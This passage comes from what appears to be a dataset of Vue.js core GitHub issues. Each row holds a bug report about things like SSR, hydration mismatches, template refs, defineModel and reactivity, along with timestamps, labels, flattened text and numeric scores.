https://play.vuejs.org/#__PROD__eNp9U8Fu1DAQ/ZUhl2TFklDBaUlXBNQDIAGCcsIcQnaSuPXakeNsF61ygwMHvoI7R4RU9W9A9DMY20m2VJQcInvevJl545ldkDVNvOkwWARpW2jeGBC5rA5ZYFoWQIuma5ZM8nWjtIEdaCznsMKSS3ysyChRmjnUc1DyjVyrThpcQQ+lVmsIKW74gMkkgYGfeYAFcZLZrCwgmMlCydZAW6szOLQZIqM7nBHkAS4L0a1wwN6GWfjOgiOcEXCtomjHJIDM17gAcp/bm5MSzcBBAJ4rOP18XIlnkGmdf4gO7rpvFpdciGg3xqlRCBVCP7PJxxBKYCxUFYW/vn2+/PopHLEr7Ygo6eFyzHud9uXH5cXFROvHg6ZqtQRPraOwPgjnJOX3+cef599DuO0qjze56CgQysrUntmTVheEybKTheFKglFVJXCUbtvsiST81v7m6LyEaG+amjW8wERzb+DzAYoWb/QbnKgmJtPEDxiNU2pw3YjcIJ0B0hXfLAfqYreb3rvv08RCzud9ZwxpeVgIXpza8XSiWLD0hzTxDt75WOey5Va8u5PlGWKTCb5BWAzhKcZwoiDj26QZbO7wkjDbBVqAZAyQTBF8iuSvHGkyKQrmtDr0xiWv4pNWSdos1x0WFDSeXKB+0VgWrddi7BsLcpqts6fOZoffTazj1Fic/sN+0m6tjQUvNbaoNyRiwkyuKzQePnr9HLd0nsC1WnW2b/8BXyHNZ2dr9G6POrmisq/4uWqfuJ3msjpuj7YGqRmDKFvoOIvWmxbdbuZN0vfl3ovvj+MS9H8AuiuG6g==

### Steps to reproduce

1、开启pro模式、关闭srr，如下图

<img width=""726"" alt=""Image"" src=""https://github.com/user-attachments/assets/955fc45c-a35c-4018-bb9e-1feda7671c24"" />
2、反复点击toggle，生产template游离节点

![Image](https://github.com/user-attachments/assets/53d25d5e-e031-4c0a-a3d4-f52de3856f51)

3、查找template游离节点的引用路径，发现有__VUE_SSR_SETTERS__

![Image](https://github.com/user-attachments/assets/ebd75403-7d92-4cc2-af5b-a470005e6c2a)



### What is expected?

对于esm-browser（直接给浏览器用的ESM）建议禁用SSR：浏览器环境不需要服务端渲染能力，减少不必要的代码体积

### What is actually happening?

未启用SSR时，vue源码esm-browser走__VUE_SSR_SETTERS__相关逻辑

### Syste... [TRUNCATED]",,2025-03-11 09:24:11+00:00,2025-03-11 09:47:26+00:00,0,nan,0.0161,ssr esm browser vue ssr setters vue version link to pro srr toggle template image template vue ssr setters image what is expected esm browser esm ssr what is actually happening ssr vue esm browser vue ssr setters syste truncated,others,0.0
vuejs/core,2909157696,`withDefaults` return inconsistent result,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U8lu2zAQ/ZUBL0kAQ0Ks9iKoLrrk0B7aoO2RQE1LI4spRRJcHAeu/j0jylaMIMlFHM0bvnmz8MA+WZvtIrKSVb520gZQQm8/cBY8Z+AxRLviWuqArhU1wq0z1sOBawBL5vXHEjbGKBQa/oMPTurtCVsSNnkIOgZxPXB9L0P3FVsRVfCXDbZSY6Kt0nd1ebU4S1DCxcVipjz+DVdcV/kkmORVAXurRECyAaquoLwPCqmK2ijjSnDYcLbaCRURhG4gPFgE08I6pVgnX7KXa/CdiaqBDULoELzoscq7YmKOKp1kKXm0ZpnVxkG+mqgPh3RShgTCMJzgSQPhJ+DIl8+Ez6mp5tepl69Rj8Az6ipP8qv8rFtsQYOujW7lNrvzRtMepNaPneutVOh+2iCNpmUop6GMmFDK3H9PvuAipvGkOx3W/17w3/n96OPs1qFHt0POZiwIt8UwwTe/f+Ce7BnsTRMVRb8B/kJvVBw1TmGfo25I9llcUvutt8YF2sU//mYfUPtTUaPQMXJI8ZzRY/jyRulPcovsXbpH20hd/LtDN3JSA4vsfXZdsOERy2oZEw==

### Steps to reproduce

Just access the link🚀

### What is expected?

value and type of `prop1` should be same as `prop2`

### What is actually happening?
`prop1` has default value set to `true`

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-11 05:17:14+00:00,2025-03-11 05:45:29+00:00,1,nan,0.0196,return inconsistent result vue version link to just access the link what is expected value and type of should be same as what is actually happening has default value set to system info any additional comments no response,others,0.3818
vuejs/core,2907489663,Potentially Confusing Double Template Refs,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kj1PwzAQhv/KyUtbqTQDTCVFAtQBBkClo5cqvRQXx7b8ESpF+e+cnbaEqsp2vvc557nIDXs0ZlYHZHOWu8IK48GhD+aBK1EZbT00EByusTJy43GF5RQsltBCaXUFIxod3XPFVaGV8yCUCZ4gWFxMjTlLGWcTwnswkXTfeMJVnnUC9Gk6+OMsnQDyrahT8a8EaJp0R9ses2yYI4+raCdCGouzJdQ3ld6i7HWyTuU4mGc9QzZl3tFSpdjN9k4r+ptNhDkrdGWERPtuvKClOZtDSmK2kVL/vKaetwGnp37xhcX3lf7eHWKPsw+LDm2NnJ0zv7E7JMsYLz/f8ED1OaRNgiR6IFyh0zJExw57CmpL2j0u2b6kNyHUbu2WB4/KnZaKopFsE88ZvYvngdX/dG9nd2mOq5a1v7t717o=

### Steps to reproduce

There are two template refs available to the input.

### What is expected?

While technically being correct, the code example from the playground is probably not what the (new) user intended.

New users will probably start using `useTemplateRef` and may fall into the trap of defining another ref with a name which is equal to the ref on the HTML Input element. This is confusing, and I think this usage was removed from the docs as well (not sure).

It would be better if the compiler would catch this case and issue a warning for last template ref, suggesting to rename/remove it.

",,2025-03-10 14:34:45+00:00,2025-03-11 00:14:34+00:00,0,nan,0.4027,potentially confusing double template refs vue version link to there are two template refs available to the input what is expected while technically being correct the code example from the playground is probably not what the new user intended new users will probably start using and may fall into the trap of defining another ref with a name which is equal to the ref on the html input element this is confusing and i think this usage was removed from the docs as well not sure it would be better if the compiler would catch this case and issue a warning for last template ref suggesting to rename remove it,others,-0.5365
vuejs/core,2906344350,@vue/compiler-sfc compile error,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqdWG9TE0cY/yo7mc5EHQPj2L6hkU5rdca+UFud6QvTaY5kgdPLXeZug1BkJkADSUkMKn8U0IJFQDqEUBES/n4Ys3vHq36FPrt7CeHAAH2VvWef/T3/n302vb5v4/GmrgT2tfiCVsRU4wRZmCTiSFP0jmshH7FCvtaQHtIRUmNxwySI9MQx6kXf43ZVx9cNIOpYJ6gPtZtGDPkBy/+1OBDFEU0xMYoYukXQPazhCGnxngv2cmiEmi9dkgt0CbHsMC1MHSQzldLKwVzZni7YU7+jLkVLYESTO//uZGl+tbL9rrK7b48toa5AzIhiDdF8lo4+s7efwWE2XmS5wqfkAM2NAxCb3KD5Zfb0Hc1PonvEVPUOxNIT6HYi1oZNDjjP5R1h+9Y0lZ4nLvMTlxUWgl7VtVku/EKDgFDR/00L8rsu8Br2cpWOLrCxVZbtlxI9OLGERtS4hgGizTA0rOgNcOyFfjDfgxBVLaVNw9EzIUg3slLKfr8FyoCvhW+X6cxSzW9sJsPG0x4pEQA2uZwziZEGs9EZe/2tB6hd1Qg+CxKoJAFAJVCyqv8yy2bs1CJkaxtkgLM/7cxlTxTkl5ICbT0Bwcuj1Eiesz9jL41IKMg+NlFmH8a9mCaOGQQHYph0GlGOeDOhR4hqfMaE3Rc0k3NdsvIXWFQvxIOtGUoUEu8cWkKxCEWH6coky4/a81tedV3MAMHdhGtridw+Fbjq8T2APNh+6RTmpbuB6KwuOIv9QK/sjXilRXG7Aul86G4pDipIr5aSovc8+OVE+Tz3Rt6zuSE6v0iLeVnyQITyr5S2wtBXOnD4U7I/bMUUTRMrV14Y6tpJpiqlHJ3726OTpf7G88zvB9l+gSFWAkOsXIyTq7emk3SC9LRHQlxTIrjT0KLYbOxgSIZKaYSNZGh60plbAqOgBnm5CTdDIOlQihbKXqfqBgm0Gwk9epYgigwbo9NvZG0fqZzikFsz9HnWba2VUpKWN+QJYJRWQolJimQ6llIcI6Dqh62vYRHvlO3lSW7c2jjdSUJRQcP2xBaFiREXAW0zCDFiYgmkgEUUk9Rt1BH4Ntaj9Zv886TYxODO4Skg2UTQ4XT1V2KKr3ohtW1Ard/kn43aa3EILKZrA2xsz94tVLaegneiPQhCy42eWUL3lTYLlKalBWiz0Ay7cRTxuw7oGtx16UlglbecDB7d3nIKBba5Tf+YZSvzdO0NSy5yemEQhPGcz0/a6Q17a5HNbtKdPN1doy9ywFDZfuoks87eHk0X2fQ6fbfLe8V4mr2Z8XiJmIputYv0bRRKe/sVpC3cEjQ1aK/POgVuIQqr0XCtLaCbhhlDXPcP43ATe1MH5gEejIAqOmejNN5J0tHVmmJIugIUYB8L3LnCGwdvX9P5Ce47GDosC9HRnL1Y9MqsYgQEU... [TRUNCATED]",,2025-03-10 07:33:42+00:00,2025-03-10 07:46:05+00:00,1,nan,0.0086,vue compiler sfc compile error vue version link to truncated,bug,-0.4588
vuejs/core,2905422037,TS component prop type checking incorrectly allows getter,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUT1PwzAQ/SsnL2mlKhlgitJIgDrAABUwegnJJXVxbMt2SqUo/52zq5YKQbv57n3o+d7I7oxJdwOynBWutsJ4cOgHA7JS3ZIz7zgruRK90dbDg+4NtFb3kKRZGII04arIDlpi0uCxN7LySBNAETV5qzW5zeawLCFxGz3IBpT28IFQSam/sEk4g4wkRXamZwtKUGvVii7dOq0o5hhcOavJVki0L8YLrShlDhEJWHR8ijtvB1wc9/UG688/9lu3DzvO1hYd2h1ydsJ8ZTv0B3j19ox7ep/AXjeDJPYF8BWdlkPIeKDdD6qh2Ge8mPYxHlio7t2t9h6VO34qBA3MKfI5o4OHi/739Z+4N+lt1HE10RWPZV3pucFWKFxbbVwRPam3HJy3lIyMytn8ctmN2JXjGFQwTUUWxt+NTt8HudFs

### Steps to reproduce

Open the playground link.

### What is expected?

`foo` prop in template should raise a type error from TS.

### What is actually happening?

No type error is raised.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: types,language-tools",2025-03-09 13:15:54+00:00,2025-03-10 09:27:44+00:00,0,"scope: types,language-tools",0.8416,ts component prop type checking incorrectly allows getter vue version link to open the playground link what is expected prop in template should raise a type error from ts what is actually happening no type error is raised system info any additional comments no response,others,-0.8555
vuejs/core,2905376592,"The computed property dependencies have not changed, but it is recalculated.","### Vue version

v3.3.11

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9Ub1OwzAQfhXLS1q1SkRhCmklQB1gAASMWdLkGlIcO7LPoajKu3O2m9IBdTvf9+Pv7g78ruvi3gJPeYbQdqJAWOWSsaxqeip8mYQ6S84Y9DSlbjpkBtB2TBSyXkZoIsKatlMa2YFpKEpsepizUrWdRajYwLZatSyiPyPnUippyAPJlS1PgsnBfVwqKzFlV3P32KRskcthejtqKmU3wolG78lkypYrdpRKowTEQtWTqIymrqcpqJZsQQ4DNYLPSApucV8ICwT6QPFmNrvIypKwg+M+8EccV5OEms85GtJvmzreGSVpyz5dzl3mRoB+6bAh/5ynIbfDCiHU95Pvobbgp/eaTyi//unvzN71cv6qwYDuIecnDAtdAwZ4/f4Me6pPYKsqK4h9AXwDmt26jIF2b2VFsc94Pu2jv3gj6w+z3iNIMw7lgjrm4Pk5p7M/XBj9L+51fON1dCs+/AJgTOT/

### Steps to reproduce

<script setup lang=""ts"">
import { reactive, computed } from 'vue'

const state = reactive({
  count: 1,
});
const double = computed(() => {
  console.log('c')
  return 2;
})

console.log(double.value)
state.count++
console.log(double.value)
</script>

### What is expected?

c
2
2

### What is actually happening?

c
2
c
2

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-09 11:44:44+00:00,2025-03-09 11:46:49+00:00,0,nan,0.0014,the computed property dependencies have not changed but it is recalculated vue version v link to import reactive computed from vue const state reactive count const double computed console log c return console log double value state count console log double value what is expected c what is actually happening c c system info any additional comments no response,others,0.5267
vuejs/core,2904769430,`<style>` HMR require save twice when exporting a type from a component,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-fbpwhbzy?file=src%2Fcomponents%2FFoo.vue

### Steps to reproduce

#### Setup:
1. Create a `Foo.vue` component and export a type `FooProps`.
2. Add a `<style>` block in `Foo.vue` (e.g., setting `background-color: red;`).
3. Create a `Bar.vue` component and import the `FooProps` type from `Foo.vue`.
4. Use both `<Foo />` and `<Bar />` in `App.vue`.

#### Problem:
When running the development server with Vite, changing the background color in `Foo.vue`, you need to save the file twice for the styles to update in the browser.

### What is expected?

After modifying the styles in `Foo.vue` and saving the file once, the changes should be reflected immediately.

### What is actually happening?

The style updates are only applied after saving `Foo.vue` twice.

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 18.20.3 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.2.3 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comments?

I’m not sure whether this issue is related to Vue or Vite.",,2025-03-08 12:53:00+00:00,2025-03-10 08:02:57+00:00,1,nan,1.7986,hmr require save twice when exporting a type from a component vue version link to setup create a component and export a type add a block in e g setting create a component and import the type from use both and in problem when running the development server with vite changing the background color in you need to save the file twice for the styles to update in the browser what is expected after modifying the styles in and saving the file once the changes should be reflected immediately what is actually happening the style updates are only applied after saving twice system info any additional comments i m not sure whether this issue is related to vue or vite,others,0.4657
vuejs/core,2904677080,"defineComponent props sets the default property value, `props.xx` may still be undefined","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01v2zAM/SucLk6AzOmw7mK4GbahwLZDV2wFdph2cB06VWtLgiSnbg3/91J0Ptyi6MniI9/jIyX34ou16bZFkYncl07ZAB5Da1dSq8YaF6AHhxUMUDnTQEKlidRSl0b7AI3fwFnMz5LvWNcG/hpXr98lc6nz5ShHQhQEbGxdBKQIIL/5sOp7Jg9DvqSIUaVtG2D7vjFrrM+koLwUsKRkvpzwxUIET+0rtUlvvdHkvI98KUrTWFWj+2WDIntSZMCZmPPBqTJEKLgWF3u4INP3P7n0GV7eYHn3Cn7ru4hJcenQo9uiFIdcKNwGuYUU538usKPzIUlDtTVVv5H8jd7UbbQ+ln1t9ZqmmdSx2x98LUpvrvx5F1D7/azRaKwcuF4Kuqpvb2zkaPdjeso8qQdabuSkwXe0190LCA8W6RlcOmOv4vHZW3DHh7LGSmnuaTTq8LKMS3VAVxUlsponNwQCePWInzPQbXNNAxM07AnYsTZJF23N32mL2Y5vo1icjaNRbxICj5DBBetD4Q+z5GzjXxIJyf/V4sjYdczg08keZFO839F0/E9m3Hp+7KUqGLE0asIKTk8mWVr8CzGedi6GJwRmLy8=

### Steps to reproduce

1. click `Comp.tsx` file

### What is expected?

`props.size` Shouldn't the type be `number`?

### What is actually happening?

-

### System Info

```shell

```

### Any additional comments?

_No response_",scope: types,2025-03-08 09:40:38+00:00,2025-05-22 00:03:34+00:00,0,scope: types,74.5993,definecomponent props sets the default property value may still be undefined vue version link to click file what is expected shouldn t the type be what is actually happening system info any additional comments no response,others,0.0516
vuejs/core,2897832978,"SSR hydration mismatch using v-if=""$slots.slot"" and a html slot-content","### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/hydration-mismatch-transition-slot-v-if-ragrzopt?file=app.vue

### Steps to reproduce

I want to wrap the slot-content of a component in a wrapper, and only render the wrapper, if the slot contains an element.

This is the component `<ComponentWithSlot>`:
```vue
<template>
  <div>
    <p v-if=""$slots.slot"">
      <slot name=""slot"" />
    </p>
  </div>
</template>
```

If the slot is filled with a plain text this is working:

```vue
<ComponentWithSlot>
  <template #slot>
    This IS NOT throwing a hydration error, since it is plain text and not
    wrapped in an element.
  </template>
</ComponentWithSlot>
```

But if the slot contains any kind of HTML markup, a hydration mismatch error is thrown:

```vue
<ComponentWithSlot>
  <template #slot>
    <div>
      This IS throwing a hydration error, since it is wrapped in a div.
    </div>
  </template>
</ComponentWithSlot>
```

### What is expected?

That no hydration mismatch error is thrown.

### What is actually happening?

A hydration mismatch error is thrown.

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 18.20.3 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.2.3 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.5.13 => 3.5.13
``... [TRUNCATED]",,2025-03-05 16:38:47+00:00,2025-03-06 00:18:05+00:00,2,nan,0.319,ssr hydration mismatch using v if slots slot and a html slot content vue version link to i want to wrap the slot content of a component in a wrapper and only render the wrapper if the slot contains an element this is the component if the slot is filled with a plain text this is working but if the slot contains any kind of html markup a hydration mismatch error is thrown what is expected that no hydration mismatch error is thrown what is actually happening a hydration mismatch error is thrown system info shell system os linux undefined cpu x intel r core tm i h cpu ghz memory bytes bytes shell bin jsh binaries node usr local bin node yarn usr local bin yarn npm usr local bin npm pnpm usr local bin pnpm npmpackages vue truncated,others,-0.9398
vuejs/core,2897645019,v-if and v-else on same element has inconsistent (or undocumented) behaviour,"### Vue version

3.4.23 (or earlier) - 3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNq1VEFP8zAM/Ssmh28fEu0Eg8tUJgEaAg6AAIlLJFRadxTSJErSMmnaf8fJGB0TQ4OJU12/F+c9W/GEHWkdNzWyPktsZkrtwKKr9YDLstLKOJiAwQKmUBhVQYeoHS65zJS0Dio7gkOP/++coRAK7pUR+VZnm8ukOytHhejHYaVF6pD+AJK8bEIA0ERlcchZkQqLnEGXEkgh/JsjztSLQH92LNmKIhiOtcPMYd6HO2JBFL0X9fWXKg9O/Tfptje/k8Jtn+4a+GIrmAGDvRZto58aW0a+c7a3ubdP3EUH6/n73diWPP39sFbIXRLwKFL50ipYd1RzNxtOYC3FKzT9dXM3fgdJd+Glsx3mLC2KohzFz1ZJ2jGT8FRYpipdCjRX2pW0SMgMBMRjKe2R14uQ80J25vnsCbOXL/LPduxznF0btGgakv6BudSM0M3g4e0ljin+ACuV18I3cjV4g1aJ2muc0Y5rmZPsBV5Qex42ZSlHd3Y4dijt3FToJDGngc8Zbc+Tb6y3cnvxfjjH5ZS6+NCg8TWpgb34IN7tsekb/GzLOg==

### Steps to reproduce

Reproduction link already shows the issue at hand.

Using `v-else` and `v-if` on the same component does not result in what I would consider expected behaviour.

### What is expected?

In a case of a `v-else` and `v-if` on the same component I would expect either:
- An (compiler?) error when rendering the component
- If the condition in the `v-if` is true / truthy it should not ""fall-through"" to the else block

### What is actually happening?

In case of `v-else` and `v-if` being on the same component it will ignore the condition in `v-if` if there is a component after it that has a `v-else` block.

### System Info

```shell
System:
    OS: Linux 6.8 Ubuntu 22.04.5 LTS 22.04.5 LTS (Jammy Jellyfish)
    CPU: (16) x64 12th Gen Intel(R) Core(TM) i5-12500H
    Memory: 14.36 GB / 31.02 GB
    Container:... [TRUNCATED]",,2025-03-05 15:24:42+00:00,2025-03-06 00:06:38+00:00,1,nan,0.3625,v if and v else on same element has inconsistent or undocumented behaviour vue version or earlier link to already shows the issue at hand using and on the same component does not result in what i would consider expected behaviour what is expected in a case of a and on the same component i would expect either an compiler error when rendering the component if the condition in the is true truthy it should not fall through to the else block what is actually happening in case of and being on the same component it will ignore the condition in if there is a component after it that has a block system info shell system os linux ubuntu lts lts jammy jellyfish cpu x th gen intel r core tm i h memory gb gb container truncated,documentation,-0.0258
vuejs/core,2895674556,Vue warning of duplicate keys in v-for are shown randomly,"### Vue version

3.X

### Link to minimal reproduction

https://stackblitz.com/edit/vite-4jdq3cfy?file=docs%2Fexample.md

### Steps to reproduce

Just create a vite app and a vue component having v-for with duplicate keys. the warnings do not always appear.
check https://github.com/vuejs/vitepress/issues/4577 also for an explanatory video.

In the reproduction url i have given, the warnings seem to not appear at all

### What is expected?

warnings must always be shown

### What is actually happening?

warnings showing randomly

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-04 23:16:50+00:00,2025-03-05 12:28:19+00:00,1,nan,0.5496,vue warning of duplicate keys in v for are shown randomly vue version x link to just create a vite app and a vue component having v for with duplicate keys the warnings do not always appear check also for an explanatory video in the reproduction url i have given the warnings seem to not appear at all what is expected warnings must always be shown what is actually happening warnings showing randomly system info any additional comments no response,others,-0.8519
vuejs/core,2893266103,Error tip during vue2 upgrade to vue3,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-luhhhzuf?file=src%2FApp.vue,src%2FChild.vue,vite.config.js,package.json&terminal=dev

### Steps to reproduce

Open [link](https://stackblitz.com/edit/vitejs-vite-luhhhzuf?file=src%2FApp.vue,src%2FChild.vue,vite.config.js,package.json&terminal=dev) and look at terminal warning.

### What is expected?

It is should not warning because v-bind already in the first place

### What is actually happening?

when use v-bind with v-for and move the v-bind in the first place. the loader will report warning v-bind with wrong place

### System Info

```shell

```

### Any additional comments?

_No response_",":hammer: p3-minor-bug,scope: v2 compat",2025-03-04 07:38:30+00:00,2025-05-22 00:44:35+00:00,0,":hammer: p3-minor-bug,scope: v2 compat",78.7126,error tip during vue upgrade to vue vue version link to open link and look at terminal warning what is expected it is should not warning because v bind already in the first place what is actually happening when use v bind with v for and move the v bind in the first place the loader will report warning v bind with wrong place system info any additional comments no response,bug,-0.926
vuejs/core,2890729276,Set.intersection erroring when used as ref,"### Vue version

Latest master @8bd9cdb. Last tag: 3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kctuwjAQRX9l5A0g0US0XaGA1FYs2kVblS69icIQTB3b8iMgRfn3jh3xWCB2mXvuWMdxx16MydqAbM4KV1lhPDj0wSy5Eo3R1kMHFrfQw9bqBkZUHXHFVaWVS9UZLGJhrPAAa/TjyeQKPt6AJyyUR+uw8tSJ52RtKQNm51hoNY5HDDktFvkgSGo0eGyMLD3SBFDsZsuug8bV0PdFTlNKhTLBQ/vQ6A3KBWfEOYOcYJFf7bMp846ktqLO9k4r+hdd3Oes0o0REu2XiTqOszkkElkppT58pMzbgNNTXu2w+ruR790xZpx9W3RoW+TszHxpa/QDXq0/8UjfZ0j2QVL7DvxBp2WIjkPtNagNaV/1ku17elGh6l+3OnpU7nSpKBqbfepzRq/8dufqF92n7DntcdWz/h+Xz8SY

### Steps to reproduce

Open the link, see Firefox and Chrome error out because intersection was called on an incompatible receiver

### What is expected?

No error

### What is actually happening?

Browser error

### System Info

```shell
System:
    OS: Linux 5.15 Ubuntu 22.04.4 LTS 22.04.4 LTS (Jammy Jellyfish)
    CPU: (16) x64 AMD Ryzen 7 PRO 6850HS with Radeon Graphics
    Memory: 9.68 GB / 15.28 GB
    Container: Yes
    Shell: 5.1.16 - /bin/bash
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    Yarn: 3.3.0 - ~/.nvm/versions/node/v22.14.0/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
    bun: 1.2.3 - ~/.bun/bin/bun
  Browsers:
    Chrome: 126.0.6478.55
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comments?

Firefox error is: `CallSetMethodIfWrapped method called on incompatible Proxy`
Chrome error is `Method Set.prototype.intersection called on incompatible receiver #<Set>`

*... [TRUNCATED]",,2025-03-03 09:53:20+00:00,2025-03-03 11:18:19+00:00,1,nan,0.059,set intersection erroring when used as ref vue version latest master bd cdb last tag link to open the link see firefox and chrome error out because intersection was called on an incompatible receiver what is expected no error what is actually happening browser error system info any additional comments firefox error is chrome error is truncated,bug,-0.9451
vuejs/core,2886256661,Using `v-if` plus css `transition` with `:active` selector results in memory leak,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/CedrikNikita/transition-memory-leak

### Steps to reproduce

Install and serve this small reproduction. You will be able to witness memory leak by clicking `Show` and `Hide` buttons. In the chrome devtools `Memory` tab you can see that each time you click `Show` then `Hide` button you would get additional detached elements in the snapshot. This detached elements are multiplied by number of clicking `Hide` button.
![image](https://github.com/user-attachments/assets/4b65ae5f-61f2-4f4d-918d-fc5d63404d6e)

![image](https://github.com/user-attachments/assets/67091e7d-406e-4457-a883-d2830d6b1606)


### What is expected?

There should be no detached elements.

### What is actually happening?

Detached elements continue to accumulate forever.

### System Info

```shell

```

### Any additional comments?

Chrome version `133.0.6943.142`

CC: @davidyuk",browser specific,2025-02-28 05:43:21+00:00,2025-02-28 06:20:56+00:00,2,browser specific,0.0261,using plus css with selector results in memory leak vue version link to install and serve this small reproduction you will be able to witness memory leak by clicking and buttons in the chrome devtools tab you can see that each time you click then button you would get additional detached elements in the snapshot this detached elements are multiplied by number of clicking button image image what is expected there should be no detached elements what is actually happening detached elements continue to accumulate forever system info any additional comments chrome version cc davidyuk,others,-0.8271
vuejs/core,2884797808,Unable to set focus inside of Vue.js-based web components,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/padcom/vue-custom-element-delegates-focus

### Steps to reproduce

```bash
npm install
npm start
```


### What is expected?

Just the input is focused:

![Image](https://github.com/user-attachments/assets/79290ae3-5005-495d-b371-e8e129e2357f)

### What is actually happening?


Observe that the whole element is focused instead of the input.

![Image](https://github.com/user-attachments/assets/d5c58bee-cce5-4548-b962-2f315322a43c)

### System Info

```shell
Google Chrome, Firefox - doesn't matter. It's a core deficiency of how Vue.js creates `shadowRoot`
```

### Any additional comments?

This is a critical issue for any type of web component that provides users with interactions. It blocks proper keyboard navigation and programmatic focusing of elements.

## More information

When creating custom web components that have focus-able parts (like inputs or buttons) the focus is first set to the custom element itself. That is why, in the example provided, the outline is showing for the entire element instead of the input.

To be able to focus elements inside the web component one needs to add the `delegatesFocus` to options alongside `mode: 'open'`. This, when the `focus()` method is called on the web component, will look for the first focus-able element and shift the focus there instead.

MDN: https://developer.mozilla.org/en-US/docs/Web/API/ShadowRoot/delegatesFocus

There are more options that can be... [TRUNCATED]",":hammer: p3-minor-bug,scope: custom elements",2025-02-27 15:05:50+00:00,2025-09-24 13:14:56+00:00,0,":hammer: p3-minor-bug,scope: custom elements",208.923,unable to set focus inside of vue js based web components vue version link to what is expected just the input is focused image what is actually happening observe that the whole element is focused instead of the input image system info any additional comments this is a critical issue for any type of web component that provides users with interactions it blocks proper keyboard navigation and programmatic focusing of elements more information when creating custom web components that have focus able parts like inputs or buttons the focus is first set to the custom element itself that is why in the example provided the outline is showing for the entire element instead of the input to be able to focus elements inside the web component one needs to add the to options alongside this when the method is called on the web component will look for the first focus able element and shift the focus there instead mdn there are more options that can be truncated,bug,0.7152
vuejs/core,2881868803,set function in Definemodel does not trigger when parent change value,"### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v1DAQ/StTX3YrlkSrhUvJVsCqSCDxIUBcMEIhmaRuHTuynbAQ5b937DTZtF1tTs68NzNvZl7H3tR11DbILlhiMyNqBxZdU19yJapaGwcdGCygh8LoChZEXUzQ7lrI/J1JK7xHozibQr7q4hVXXGVaWQeVLWHray3X5z5aNCpzQitwaB0uzzuugD6iRW0qG4RnW1hz1XOVxIMy0kQ/Dqtapg7pD5KZgvZ5pXOUkUz//9tyRnU4iz0Jkj+Nc9TodSZFdktY6MgZXO58ACi5Tg0qd5bEA5XSknjWiK2YszRGIcroxmpF2wpyOct0VQuJ5nPtZ7GcXcD9IJylUuq/H0LMmQZXYzy7xuz2SPzG7n2Msy8GLZqWJE6YS02JboCvvn3CPb0nkAZvJLFPgF/Ratl4jQPtbaNykj3jBbXvw2GFKr/bq71DZcehvFDP7AOfMzru7sToB7mb6EXIo0vSFh/a44jpRrf8DMf84Y2wAnqLQqCxv8hBORZC4UcPL0M/Sl22o318tpYYSV0upzTym8cM9TAKWhgFPfXhwYZT+8duPOVHSHLRhgd03aFET2mExQM4NDhqyrknzyAsa2bJp6b83dJ0pJ0WuYleRusN6+8AgilLNw==

### Steps to reproduce

1 - Create a v-model in child component, with a set function
2 - Change the v-model value in parent component

### What is expected?

When parent component change v-model the set functino should be trigged

### What is actually happening?

The set function is not triggering

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-26 14:46:30+00:00,2025-02-27 00:41:25+00:00,1,nan,0.4131,set function in definemodel does not trigger when parent change value vue version v link to create a v model in child component with a set function change the v model value in parent component what is expected when parent component change v model the set functino should be trigged what is actually happening the set function is not triggering system info any additional comments no response,others,0.5719
vuejs/core,2880902945,Native `fill` and `reverse` function cost performance problem when called on heavy array.,"### Version
3.5.13

### Reproduction link
